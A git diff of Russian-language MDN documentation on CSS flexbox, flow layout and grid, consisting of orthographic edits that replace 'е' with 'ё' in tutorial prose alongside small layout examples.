              diff --git a/files/ru/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html b/files/ru/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html index 9c407f61fa..25b5be5ea0 100644 --- a/files/ru/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html +++ b/files/ru/web/css/css_flexible_box_layout/backwards_compatibility_of_flexbox/index.html @@ -11,13 +11,13 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexb

              Как  и все спецификации CSS, flexbox претерпела огромное количество изменений, прежде чем стать Кандидатом в рекомендации W3C. У спецификации в этом статусе не должно быть значительных изменений, однако с предыдущими итерациями все было иначе.

              -

              Flexbox был реализован экспериментальным путем в нескольких браузерах. В то время метод создания экспериментальных реализаций подразумевал использование вендорных префиксов. Идея этих префиксов была в том, чтобы позволить инженерам браузеров и веб-разработчикам исследовать и протестировать новшества спецификации без конфликтов с другими реализациями. Идея заключалась в том, чтобы не использовать экспериментальные реализации на продакшене. Однако, в конечном счете префиксы все равно попали в продакшн, и изменения в экспериментальной спецификации вынудили людей обновлять сайты, чтобы этой самой спецификации соответствовать.

              +

              Flexbox был реализован экспериментальным путём в нескольких браузерах. В то время метод создания экспериментальных реализаций подразумевал использование вендорных префиксов. Идея этих префиксов была в том, чтобы позволить инженерам браузеров и веб-разработчикам исследовать и протестировать новшества спецификации без конфликтов с другими реализациями. Идея заключалась в том, чтобы не использовать экспериментальные реализации на продакшене. Однако, в конечном счёте префиксы все равно попали в продакшн, и изменения в экспериментальной спецификации вынудили людей обновлять сайты, чтобы этой самой спецификации соответствовать.

              В 2009 спецификация выглядела совсем по-другому. Чтобы создать flex-контейнер, вам нужно было использовать display: box и несколько box-* свойств, которые делали то, что сегодня вы понимаете под flexbox.

              Очередное обновление спецификации поменяло синтаксис на display: flexbox — и опять с вендорными префиксами.

              -

              В конечном счете спецификация была обновлена, чтобы определить display: flex как способ создания flex-контейнера. Начиная с этого момента поддержка браузерами обновленной версии спецификации отличная.

              +

              В конечном счёте спецификация была обновлена, чтобы определить display: flex как способ создания flex-контейнера. Начиная с этого момента поддержка браузерами обновлённой версии спецификации отличная.

              Существует несколько старых статей, которые описывают более ранние версии flexbox, их довольно легко вычислить по тому, как они описывают создание flex-контейнера. Если вы нашли что-то вроде  display: box или display: flexbox, то это уже устаревшая информация.

              @@ -27,7 +27,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Backwards_Compatibility_of_Flexb
              • Internet Explorer 10, который внедрил display: flexbox версию спецификации с префиксом -ms-.
              • -
              • UC Browser, который все еще поддерживает спецификацию версии 2009 год с display: box и префиксом -webkit-.
              • +
              • UC Browser, который все ещё поддерживает спецификацию версии 2009 год с display: box и префиксом -webkit-.

              Также возьмите на заметку, что Explorer 11 поддерживает современный display: flex, однако не без багов.

              diff --git a/files/ru/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html b/files/ru/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html index 23f034fb6f..874e9a5982 100644 --- a/files/ru/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html +++ b/files/ru/web/css/css_flexible_box_layout/basic_concepts_of_flexbox/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox ---
              {{CSSRef}}
              -

              CSS модуль раскладки Flexible Box, обычно называемый флексбокс или flexbox или просто flex (флекс), был разработан как модель одномерного-направленного макета и как один из методов распределения пространства между элементами в интерфейсе, с мощными возможностями выравнивания. В этой статье дается краткое описание основных функций flexbox, которые мы рассмотрим более подробно в остальных руководствах.

              +

              CSS модуль раскладки Flexible Box, обычно называемый флексбокс или flexbox или просто flex (флекс), был разработан как модель одномерного-направленного макета и как один из методов распределения пространства между элементами в интерфейсе, с мощными возможностями выравнивания. В этой статье даётся краткое описание основных функций flexbox, которые мы рассмотрим более подробно в остальных руководствах.

              Когда мы описываем flexbox как одномерно-направленный, мы  имеем в виду, что flexbox имеет дело с макетом в одной плоскости за раз – либо в виде строки, либо в виде столбца. Как альтернативу можно упомянуть двумерную модель CSS Grid Layout, которая управляет и столбцами и строками одновременно.

              @@ -46,7 +46,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox

              Начало и конец строки

              -

              Важно понимать, что flexbox не делает никаких предположений о режиме написания документа. Раньше CSS был сильно ориентирован на горизонтальный режим и режим письма слева направо. Современные методы верстки охватывают полный диапазон режимов письма, и поэтому мы больше не предполагаем, что строка текста будет начинаться в верхнем левом углу документа и будет проходить по направлению к правой стороне, а новые строки будут появляться одна под другой.

              +

              Важно понимать, что flexbox не делает никаких предположений о режиме написания документа. Раньше CSS был сильно ориентирован на горизонтальный режим и режим письма слева направо. Современные методы вёрстки охватывают полный диапазон режимов письма, и поэтому мы больше не предполагаем, что строка текста будет начинаться в верхнем левом углу документа и будет проходить по направлению к правой стороне, а новые строки будут появляться одна под другой.

              Вы можете прочитать больше о взаимосвязи между flexbox и спецификацией Writing Modes в следующей статье, однако следующее описание должно помочь объяснить, почему мы не говорим о левом, правом, верхнем и нижнем направлениях наших flex-элементов.

              @@ -64,7 +64,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox

              Flex контейнер

              -

              Область документа, использующая flexbox, называется flex контейнером. Чтобы создать flex контейнер, мы задаем значение flex или inline-flex для свойства {{cssxref ("display")}} контейнера. Как только мы делаем это, прямые потомки этого контейнера становятся flex элементами. Как и для всех свойств в CSS, некоторые начальные значения уже определены, поэтому при создании flex-контейнера все содержащиеся в нем flex-элементы будут вести себя следующим образом.

              +

              Область документа, использующая flexbox, называется flex контейнером. Чтобы создать flex контейнер, мы задаём значение flex или inline-flex для свойства {{cssxref ("display")}} контейнера. Как только мы делаем это, прямые потомки этого контейнера становятся flex элементами. Как и для всех свойств в CSS, некоторые начальные значения уже определены, поэтому при создании flex-контейнера все содержащиеся в нем flex-элементы будут вести себя следующим образом.

              • Элементы отображаются в ряд (свойство flex-direction по умолчанию имеет значение row).
              • @@ -75,7 +75,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox
              • Свойству {{cssxref("flex-wrap")}} задано значение nowrap.
              -

              Результатом этого является то, что все ваши элементы будут выстроены в ряд, используя размер содержимого в качестве их размера на главной оси. Если в контейнере больше элементов, чем можно уместить, они не будут обернуты и контейнер будет переполнен. Если некоторые элементы выше других, все элементы будут вытянуты вдоль побочной оси, чтобы заполнить ось в полный размер.

              +

              Результатом этого является то, что все ваши элементы будут выстроены в ряд, используя размер содержимого в качестве их размера на главной оси. Если в контейнере больше элементов, чем можно уместить, они не будут обёрнуты и контейнер будет переполнен. Если некоторые элементы выше других, все элементы будут вытянуты вдоль побочной оси, чтобы заполнить ось в полный размер.

              Вы можете увидеть принцип работы в живом примере ниже. Попробуйте отредактировать или добавить дополнительные элементы, чтобы проверить поведение flexbox.

              @@ -87,7 +87,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox

              Если изменить значение свойства flex-direction на column, главная ось изменится, и наши элементы будут отображаются в столбец. При установке параметра column-reverse, начало и конец столбца поменяются местами.

              -

              В приведенном ниже примере значение свойства flex-direction установлено как row-reverse. Попробуйте другие значения — row, column иcolumn-reverse, чтобы посмотреть как изменятся элементы контейнера.

              +

              В приведённом ниже примере значение свойства flex-direction установлено как row-reverse. Попробуйте другие значения — row, column иcolumn-reverse, чтобы посмотреть как изменятся элементы контейнера.

              {{EmbedGHLiveSample("css-examples/flexbox/basics/flex-direction.html", '100%', 350)}}

              @@ -105,7 +105,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox

              Вы можете указать два свойства flex-direction и flex-wrap в одном {{cssxref("flex-flow")}}. Первое значение свойства определяет flex-direction, второе flex-wrap.

              -

              В приведенном ниже примере вы можете изменить первое значение на одно из доступных для flex-direction - row, row-reverse, column or column-reverse, а второе на wrap или nowrap, чтобы посмотреть как изменятся элементы контейнера.

              +

              В приведённом ниже примере вы можете изменить первое значение на одно из доступных для flex-direction - row, row-reverse, column or column-reverse, а второе на wrap или nowrap, чтобы посмотреть как изменятся элементы контейнера.

              {{EmbedGHLiveSample("css-examples/flexbox/basics/flex-flow.html", '100%', 400)}}

              @@ -123,7 +123,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox

              Чтобы понять как работают эти свойства, прежде нам необходимо разобраться с концепцией доступного пространства. Изменяя значения этих флекс свойств, мы влияем на то, как доступное пространство распределяется между нашими элементами. Эта концепция так же важна для выравнивания элементов.

              -

              Если наш контейнер шириной 500 пикселей содержит три элемента шириной 100 пикселей каждый, для их размещения нам потребуется пространство шириной в 300 пикселей. Остается 200 пикселей свободного пространства. Если мы не изменим исходные значения этих свойств, флексбокс разместит это пространство за последним элементом.

              +

              Если наш контейнер шириной 500 пикселей содержит три элемента шириной 100 пикселей каждый, для их размещения нам потребуется пространство шириной в 300 пикселей. Остаётся 200 пикселей свободного пространства. Если мы не изменим исходные значения этих свойств, флексбокс разместит это пространство за последним элементом.

              This flex container has available space after laying out the items.

              @@ -131,7 +131,7 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox

              Свойство flex-basis

              -

              Свойство flex-basis определяет размер доступного пространства элемента. Начальное значение этого свойства - auto - в этом случае браузер проверяет, имеют ли элементы размер. В приведенном выше примере все элементы имеют ширину 100px, и этот размер читается браузером как flex-basis.
              +

              Свойство flex-basis определяет размер доступного пространства элемента. Начальное значение этого свойства - auto - в этом случае браузер проверяет, имеют ли элементы размер. В приведённом выше примере все элементы имеют ширину 100px, и этот размер читается браузером как flex-basis.
              Если элементы не имеют размера, то для размера flex-basis используется размер контента. Вот почему, когда мы просто объявляем display: flex на родительском элементе для создания flex-элементов, все элементы перемещаются в ряд и занимают столько места, сколько им нужно для отображения их содержимого.

              Свойство flex-grow

              diff --git a/files/ru/web/css/css_flexible_box_layout/mastering_wrapping_of_flex_items/index.html b/files/ru/web/css/css_flexible_box_layout/mastering_wrapping_of_flex_items/index.html index 6a31a4a6ea..92c797bcf4 100644 --- a/files/ru/web/css/css_flexible_box_layout/mastering_wrapping_of_flex_items/index.html +++ b/files/ru/web/css/css_flexible_box_layout/mastering_wrapping_of_flex_items/index.html @@ -72,24 +72,24 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items

              В спецификации флексбоксов подробно рассказано, что должно происходить, когда элементы должны сворачиваться при установке параметра visibility: collapse на элементе. Смотрим документацию MDN для параметра {{cssxref("visibility")}}. Спецификация описывает поведение так:

              -

              “Установка visibility:collapse на flex элементе должна сворачивать этот flex элемент. Этот эффект должен быть таким же, как при установке свойства visibility:collapse на элементе table-row или table-column: свёрнутый flex элемент полностью удаляется из процесса рендеринга, но оставляет за собой некую "распорку", которая сохраняет стабильным поперечный размер flex-строки. Таким образом, если флекс-контейнер имеет только одну строку, динамическое сворачивание или разворачивание элементов может изменять основной размер флекс-контейнера, но должно быть гарантированно, что не будет изменяться поперечный размер и не будет приводить к эффекту "виляния" всего макета страницы.  Однако процесс обертывания flex-строки выполняется после процедуры сворачивания, поэтому поперечный размер flex-контейнера с несколькими строками может и изменяться.” - Сворачивание элементов

              +

              “Установка visibility:collapse на flex элементе должна сворачивать этот flex элемент. Этот эффект должен быть таким же, как при установке свойства visibility:collapse на элементе table-row или table-column: свёрнутый flex элемент полностью удаляется из процесса рендеринга, но оставляет за собой некую "распорку", которая сохраняет стабильным поперечный размер flex-строки. Таким образом, если флекс-контейнер имеет только одну строку, динамическое сворачивание или разворачивание элементов может изменять основной размер флекс-контейнера, но должно быть гарантированно, что не будет изменяться поперечный размер и не будет приводить к эффекту "виляния" всего макета страницы.  Однако процесс обёртывания flex-строки выполняется после процедуры сворачивания, поэтому поперечный размер flex-контейнера с несколькими строками может и изменяться.” - Сворачивание элементов

              Понимание этого поведения полезно, если вы планируете использовать яваскрипт на флекс-элементах и с его помощью прятать или показывать контент. Пример в спецификации демонстрирует один такой шаблон.

              -

              В следующем живом примере у нас показан флекс-контейнер со параметров "перенос" в состоянии "не переносить". Третий элемент имеет контента больше, чем другие элементы. И у него установлен параметр visibility: collapse. Следовательно он имеет некую "распорку", которая удерживает ту высоту, которая позволит показать этот элемент. Если Вы удалите visibility: collapse из CSS или измените значение на visible, то вы увидите, что элемент исчезнет, а пространство перераспределится между не свернутыми элементами; высота флекс-контейнера при этом не изменится.

              +

              В следующем живом примере у нас показан флекс-контейнер со параметров "перенос" в состоянии "не переносить". Третий элемент имеет контента больше, чем другие элементы. И у него установлен параметр visibility: collapse. Следовательно он имеет некую "распорку", которая удерживает ту высоту, которая позволит показать этот элемент. Если Вы удалите visibility: collapse из CSS или измените значение на visible, то вы увидите, что элемент исчезнет, а пространство перераспределится между не свёрнутыми элементами; высота флекс-контейнера при этом не изменится.

              -

              Примечание. Используйте Firefox для двух приведенных ниже примеров, поскольку Chrome и Safari рассматривают свёрнутый элемент как скрытый.

              +

              Примечание. Используйте Firefox для двух приведённых ниже примеров, поскольку Chrome и Safari рассматривают свёрнутый элемент как скрытый.

              {{EmbedGHLiveSample("css-examples/flexbox/wrapping/visibility-collapse.html", '100%', 650)}}

              -

              Когда Вы работаете с многострочным флекс-контейнером, Вы должны помнить, что процесс обёртывания происходит после сворачивания. Таким образом, браузер должен повторно выполнить процедуру оборачивания, чтобы учесть новое пространство, оставленное свернутым элементом в главной оси.

              +

              Когда Вы работаете с многострочным флекс-контейнером, Вы должны помнить, что процесс обёртывания происходит после сворачивания. Таким образом, браузер должен повторно выполнить процедуру оборачивания, чтобы учесть новое пространство, оставленное свёрнутым элементом в главной оси.

              Это значит, что элементы могут оказаться на строке, отличной от той, на которой они начинались. В случае, если какой-то элемент отображается и скрывается, это может привести к тому, что элементы окажутся в другом ряду.

              -

              Я создал пример такого поведения в следующем живом примере. Вы можете увидеть, как растяжение меняет строку в зависимости от расположения свернутого элемента. Если вы добавите больше контента ко второму элементу, он изменит строку, как только станет достаточно длинным. Эта верхняя строка становится такой же высокой, как одна строка текста.

              +

              Я создал пример такого поведения в следующем живом примере. Вы можете увидеть, как растяжение меняет строку в зависимости от расположения свёрнутого элемента. Если вы добавите больше контента ко второму элементу, он изменит строку, как только станет достаточно длинным. Эта верхняя строка становится такой же высокой, как одна строка текста.

              {{EmbedGHLiveSample("css-examples/flexbox/wrapping/wrapped-visibility-collapse.html", '100%', 750)}}

              @@ -97,4 +97,4 @@ translation_of: Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items

              Разница между visibility: hidden и display: none

              -

              Когда Вы устанавливаете элементу display: none чтобы его спрятать, то этот элемент удаляется из структуры страницы. На практике это означает, что счетчики игнорируют его, а такие вещи, как transitions (переходы), не запускаются. Использование visibility: hidden сохраняет элемент в структуре форматирования, что полезно, поскольку он по-прежнему ведет себя так, как если бы он был частью макета, даже если пользователь не может его увидеть.

              +

              Когда Вы устанавливаете элементу display: none чтобы его спрятать, то этот элемент удаляется из структуры страницы. На практике это означает, что счётчики игнорируют его, а такие вещи, как transitions (переходы), не запускаются. Использование visibility: hidden сохраняет элемент в структуре форматирования, что полезно, поскольку он по-прежнему ведёт себя так, как если бы он был частью макета, даже если пользователь не может его увидеть.

              diff --git a/files/ru/web/css/css_flow_layout/index.html b/files/ru/web/css/css_flow_layout/index.html index 80fddc9dab..3863c2862e 100644 --- a/files/ru/web/css/css_flow_layout/index.html +++ b/files/ru/web/css/css_flow_layout/index.html @@ -11,7 +11,7 @@ translation_of: Web/CSS/CSS_Flow_Layout ---
              {{CSSRef}}
              -

              Нормальный поток (normal flow) или поточная раскладка (flow layout), это способ отображения блочных (block) и строчных (inline) элементов на странице. Сначала раскладка этих элементов происходит согласно правилам потока, после чего в нее могут быть внесены изменения, например, относительное позиционирование.

              +

              Нормальный поток (normal flow) или поточная раскладка (flow layout), это способ отображения блочных (block) и строчных (inline) элементов на странице. Сначала раскладка этих элементов происходит согласно правилам потока, после чего в неё могут быть внесены изменения, например, относительное позиционирование.

              По сути поток представляется собой набор сущностей, которые работают вместе и знают друг о друге. Когда некоторая сущность вынимается из потока (out of flow), то она работает независимо.

              @@ -21,9 +21,9 @@ translation_of: Web/CSS/CSS_Flow_Layout

              Следующий пример показывает боксы уровня блока (block level) и уровня строки (inline level). Боксы уровня блока участвуют в блочном контексте форматирования, а боксы уровня строки в строчном контексте форматирования.

              -

              Два элемента параграфа с зеленой границей создают боксы уровня блока, отображающиеся один под другим.

              +

              Два элемента параграфа с зелёной границей создают боксы уровня блока, отображающиеся один под другим.

              -

              Первое предложение также содержит элемент span с голубым фоном. Он создает бокс уровня строки и, следовательно, размещается внутри предложения.

              +

              Первое предложение также содержит элемент span с голубым фоном. Он создаёт бокс уровня строки и, следовательно, размещается внутри предложения.

              {{EmbedGHLiveSample("css-examples/layout/normal-flow.html", '100%', 720)}}

              diff --git a/files/ru/web/css/css_flow_layout/intro_to_formatting_contexts/index.html b/files/ru/web/css/css_flow_layout/intro_to_formatting_contexts/index.html index aed2f568ec..13069eaa00 100644 --- a/files/ru/web/css/css_flow_layout/intro_to_formatting_contexts/index.html +++ b/files/ru/web/css/css_flow_layout/intro_to_formatting_contexts/index.html @@ -8,7 +8,7 @@ original_slug: Web/CSS/CSS_Flow_Layout/Введение_в_контексты_ф

              В этой статье представлена концепция контекстов форматирования (formatting context). Существует несколько типов контекстов форматирования, например, блочный контекст форматирования (block formatting context, BFC), строчный контекст форматирования (inline formatting context), флексовый контекст форматирования (flex formatting context). В статье даны основы того, как они себя ведут, и как вы можете использовать это поведение.

              -

              Всё на странице является частью контекста форматирования (formatting context), который представляет собой область, в которой происходит раскладка контента по определенным правилам. Блочный контекст форматирования (block formatting context, BFC) делает раскладку своих дочерних элементов в соответствии с правилами блочной раскладки, флексовый контекст форматирования (flex formatting context) раскладывает свои дочерние элементы как {{Glossary("flex item", "флекс-элементы")}} и т.д. Каждый контекст форматирования использует свои правила раскладки.

              +

              Всё на странице является частью контекста форматирования (formatting context), который представляет собой область, в которой происходит раскладка контента по определённым правилам. Блочный контекст форматирования (block formatting context, BFC) делает раскладку своих дочерних элементов в соответствии с правилами блочной раскладки, флексовый контекст форматирования (flex formatting context) раскладывает свои дочерние элементы как {{Glossary("flex item", "флекс-элементы")}} и т.д. Каждый контекст форматирования использует свои правила раскладки.

              Блочные контексты форматирования

              @@ -16,9 +16,9 @@ original_slug: Web/CSS/CSS_Flow_Layout/Введение_в_контексты_ф

              Создание нового блочного контекста форматирования

              -

              Элемент {{HTMLElement("html")}} не единственный, кто может создавать блочный контекст форматирования. Любой элемент, который по умолчанию представляет собой блок, также создает блочный контекст форматирования для своих потомков. Кроме того, существуют свойства CSS, которые могут заставить элемент создавать БКФ, даже если он не делает этого по умолчанию. Это может быть полезным поскольку новый БКФ будет вести себя во многом как внешний документа, в том смысле, что он создает новую мини-раскладку в основной раскладке. БКФ содержит все внутри себя, {{cssxref("float")}} and {{cssxref("clear")}} применяются только к элементам, которые находится в том же контексте форматирования, также как и поля (margings) схлопываются только между элементами одного и того же контекста форматирования.

              +

              Элемент {{HTMLElement("html")}} не единственный, кто может создавать блочный контекст форматирования. Любой элемент, который по умолчанию представляет собой блок, также создаёт блочный контекст форматирования для своих потомков. Кроме того, существуют свойства CSS, которые могут заставить элемент создавать БКФ, даже если он не делает этого по умолчанию. Это может быть полезным поскольку новый БКФ будет вести себя во многом как внешний документа, в том смысле, что он создаёт новую мини-раскладку в основной раскладке. БКФ содержит все внутри себя, {{cssxref("float")}} and {{cssxref("clear")}} применяются только к элементам, которые находится в том же контексте форматирования, также как и поля (margings) схлопываются только между элементами одного и того же контекста форматирования.

              -

              Кроме корневого элемента ({{HTMLElement("html")}}) новый БКФ создается в следующих случаях:

              +

              Кроме корневого элемента ({{HTMLElement("html")}}) новый БКФ создаётся в следующих случаях:

              • плавающие элементы ({{cssxref("float", "float: left", "#left")}} или {{cssxref("float", "float: right", "#right")}});
              • diff --git a/files/ru/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html b/files/ru/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html index a616e84382..964f414675 100644 --- a/files/ru/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html +++ b/files/ru/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html @@ -15,7 +15,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout

                Расположение элемента

                -

                Вы можете размещать элементы в заданном месте Grid, используя номера строк, имена или путем привязки к области Grid. Grid также содержит алгоритм управления размещением элементов, не имеющих явной позиции в Grid.

                +

                Вы можете размещать элементы в заданном месте Grid, используя номера строк, имена или путём привязки к области Grid. Grid также содержит алгоритм управления размещением элементов, не имеющих явной позиции в Grid.

                Создание дополнительных полос для хранения контента

                @@ -33,7 +33,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout

                Grid контейнер

                -

                Мы создаем grid контейнер, объявляя display: grid или display: inline-grid на элементе. Как только мы это сделаем, все прямые дети этого элемента станут элементами сетки.

                +

                Мы создаём grid контейнер, объявляя display: grid или display: inline-grid на элементе. Как только мы это сделаем, все прямые дети этого элемента станут элементами сетки.

                В этом примере есть div, содержащий класс wrapper с пятью потомками

                @@ -184,7 +184,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout

                {{ EmbedLiveSample('fr_unit_ls', '220', '140') }}

              -

              В следующем примере мы создаем грид с треком в  2fr и двумя треками по  1fr. Доступное пространство разбивается на четыре части. Две части занимает первый трек, и две части - два оставшихся. 

              +

              В следующем примере мы создаём грид с треком в  2fr и двумя треками по  1fr. Доступное пространство разбивается на четыре части. Две части занимает первый трек, и две части - два оставшихся. 

              .wrapper {
                 display: grid;
              @@ -202,7 +202,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
               
               

              Задание треков с помощью нотации repeat()

              -

              В огромных гридах с большим количеством треков можно использовать нотацию repeat() , чтобы повторить структуру треков или ее часть. Например, такое задание грида:

              +

              В огромных гридах с большим количеством треков можно использовать нотацию repeat() , чтобы повторить структуру треков или её часть. Например, такое задание грида:

              .wrapper {
                 display: grid;
              @@ -218,7 +218,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
               }
               
              -

              Repeat-нотацию можно использовать как часть списка треков. В следующем примере создается грид с начальным треком шириной в 20 пикселей, шестью треками шириной в 1fr и последним треком шириной в 20 пикселей.

              +

              Repeat-нотацию можно использовать как часть списка треков. В следующем примере создаётся грид с начальным треком шириной в 20 пикселей, шестью треками шириной в 1fr и последним треком шириной в 20 пикселей.

              .wrapper {
                 display: grid;
              @@ -226,7 +226,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
               }
               
              -

              Repeat-нотация в качестве аргумента принимает список треков, поэтому с ее помощью можно создавать структуру из повторяющихся треков. В следующем примере грид состоит из 10 треков: за треком шириной 1fr следует трек шириной 2fr , и все это дело повторяется пять раз.

              +

              Repeat-нотация в качестве аргумента принимает список треков, поэтому с её помощью можно создавать структуру из повторяющихся треков. В следующем примере грид состоит из 10 треков: за треком шириной 1fr следует трек шириной 2fr , и все это дело повторяется пять раз.

              .wrapper {
                 display: grid;
              @@ -236,11 +236,11 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
               
               

              Явный и неявный грид

              -

              Во всех примерах выше мы создавали наши колоночные (столбцовые) треки с помощью свойства {{cssxref("grid-template-columns")}}, в то время как грид самостоятельно создавал строки (ряды, полосы) для любого контента там, где это требовалось. Эти строки создавались в неявном гриде. Явный грид состоит из строк и колонок, которые мы определяем с помощью {{cssxref("grid-template-columns")}} и {{cssxref("grid-template-rows")}}. Если Вы размещаете что-нибудь вне рамок определенного данными свойствами грида или в зависимости от контента требуется большее количество грид-треков, грид создает строки и колонки в виде неявного грида. Размер подобных треков по умолчанию задается автоматически в зависимости от находящегося в них контента.

              +

              Во всех примерах выше мы создавали наши колоночные (столбцовые) треки с помощью свойства {{cssxref("grid-template-columns")}}, в то время как грид самостоятельно создавал строки (ряды, полосы) для любого контента там, где это требовалось. Эти строки создавались в неявном гриде. Явный грид состоит из строк и колонок, которые мы определяем с помощью {{cssxref("grid-template-columns")}} и {{cssxref("grid-template-rows")}}. Если Вы размещаете что-нибудь вне рамок определённого данными свойствами грида или в зависимости от контента требуется большее количество грид-треков, грид создаёт строки и колонки в виде неявного грида. Размер подобных треков по умолчанию задаётся автоматически в зависимости от находящегося в них контента.

              Вы также можете задать размер треков, создаваемых в виде неявного грида с помощью свойств {{cssxref("grid-auto-rows")}} и {{cssxref("grid-auto-columns")}}.

              -

              В примере ниже мы задаем grid-auto-rows , чтобы треки, создаваемые в неявном гриде были высотой 200 пикселей.

              +

              В примере ниже мы задаём grid-auto-rows , чтобы треки, создаваемые в неявном гриде были высотой 200 пикселей.

              <div class="wrapper">
                  <div>One</div>
              @@ -345,7 +345,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
               
               

              В дальнейшем мы детально рассмотрим размещение элементов с помощью линий, а пока остановимся на простом способе. При размещении элемента мы ссылаемся именно на линию, а не на трек. 

              -

              В следующем примере мы размещаем первые два элемента в нашем гриде из трех колоночных треков с помощью свойств {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, {{cssxref("grid-row-start")}} и {{cssxref("grid-row-end")}}. Поскольку режим написания слева направо, первый элемент размещается, начиная с колоночной линии 1, и занимает пространство до колоночной линии 4, которая в нашем случае - самая правая линия грида. Наш элемент начинается со строчной линии 1 и заканчивается на строчной линии 3, таким образом занимая два строчных трека.

              +

              В следующем примере мы размещаем первые два элемента в нашем гриде из трёх колоночных треков с помощью свойств {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, {{cssxref("grid-row-start")}} и {{cssxref("grid-row-end")}}. Поскольку режим написания слева направо, первый элемент размещается, начиная с колоночной линии 1, и занимает пространство до колоночной линии 4, которая в нашем случае - самая правая линия грида. Наш элемент начинается со строчной линии 1 и заканчивается на строчной линии 3, таким образом занимая два строчных трека.

              Второй элемент начинается с колоночной линии 1 и занимает один трек. Это поведение по умолчанию, поэтому не нужно задавать конечную линию. Элемент также занимает два строчных трека - со строчной линии 3 до строчной линии 5. Остальные элементы самостоятельно размещаются в пустых пространствах грида. 

              @@ -405,19 +405,19 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout

              Grid-ячейки

              -

              Грид-ячейка (grid cell) - наименьшая единица измерения грида, концептуально похожая на ячейку таблицы. Как мы видели в предыдущих примерах, едва грид определен для родительского элемента, дочерние элементы автоматически размещаются в каждой ячейке нашего заданного грида. На рисунке ниже первая ячейка грида выделена цветом.

              +

              Грид-ячейка (grid cell) - наименьшая единица измерения грида, концептуально похожая на ячейку таблицы. Как мы видели в предыдущих примерах, едва грид определён для родительского элемента, дочерние элементы автоматически размещаются в каждой ячейке нашего заданного грида. На рисунке ниже первая ячейка грида выделена цветом.

              The first cell of the grid highlighted

              Grid-области

              -

              Элементы могут занимать одну или несколько ячеек внутри строки или колонки, и подобное поведение создает грид-область (grid area). Грид-области должны быть перпендикулярными, - невозможно создать область, например, в форме буквы L. Выделенная цветом грид-область на рисунке ниже занимает два строчных трека и два колоночных. 

              +

              Элементы могут занимать одну или несколько ячеек внутри строки или колонки, и подобное поведение создаёт грид-область (grid area). Грид-области должны быть перпендикулярными, - невозможно создать область, например, в форме буквы L. Выделенная цветом грид-область на рисунке ниже занимает два строчных трека и два колоночных. 

              A grid area

              Зазоры (Gutters)

              -

              Зазоры (Gutters) или аллеи (alleys) между грид-ячейками можно создать с помощью свойств {{cssxref("grid-column-gap")}} и {{cssxref("grid-row-gap")}}, или с помощью сокращенного свойства {{cssxref("grid-gap")}}. В примере ниже мы создаем зазор в 10 пикселей между колонками и в 1em между строками.

              +

              Зазоры (Gutters) или аллеи (alleys) между грид-ячейками можно создать с помощью свойств {{cssxref("grid-column-gap")}} и {{cssxref("grid-row-gap")}}, или с помощью сокращённого свойства {{cssxref("grid-gap")}}. В примере ниже мы создаём зазор в 10 пикселей между колонками и в 1em между строками.

              .wrapper {
                  display: grid;
              @@ -465,7 +465,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
               
               

              Вложенные гриды

              -

              Грид-элемент может быть и грид-контейнером. В следующем примере у нас есть созданный ранее трехколоночный грид, в котором размещены два элемента. В данном случае у первого элемента есть несколько подэлементов. Поскольку эти подэлементы не являются прямыми потомками грида, они не участвуют в структуре грида и отображаются в соответствии с нормальным потоком документа.

              +

              Грид-элемент может быть и грид-контейнером. В следующем примере у нас есть созданный ранее трёхколоночный грид, в котором размещены два элемента. В данном случае у первого элемента есть несколько подэлементов. Поскольку эти подэлементы не являются прямыми потомками грида, они не участвуют в структуре грида и отображаются в соответствии с нормальным потоком документа.

              <div class="wrapper">
              @@ -483,7 +483,7 @@ translation_of: Web/CSS/CSS_Grid_Layout/Basic_Concepts_of_Grid_Layout
               
               

              Nested grid in flow

              -

              Если мы задаем для box1 значение display: grid , то можем написать для него структуру треков, и он тоже станет гридом, а его дочерние элементы будут размещены внутри этого нового грида.

              +

              Если мы задаём для box1 значение display: grid , то можем написать для него структуру треков, и он тоже станет гридом, а его дочерние элементы будут размещены внутри этого нового грида.

              .box1 {
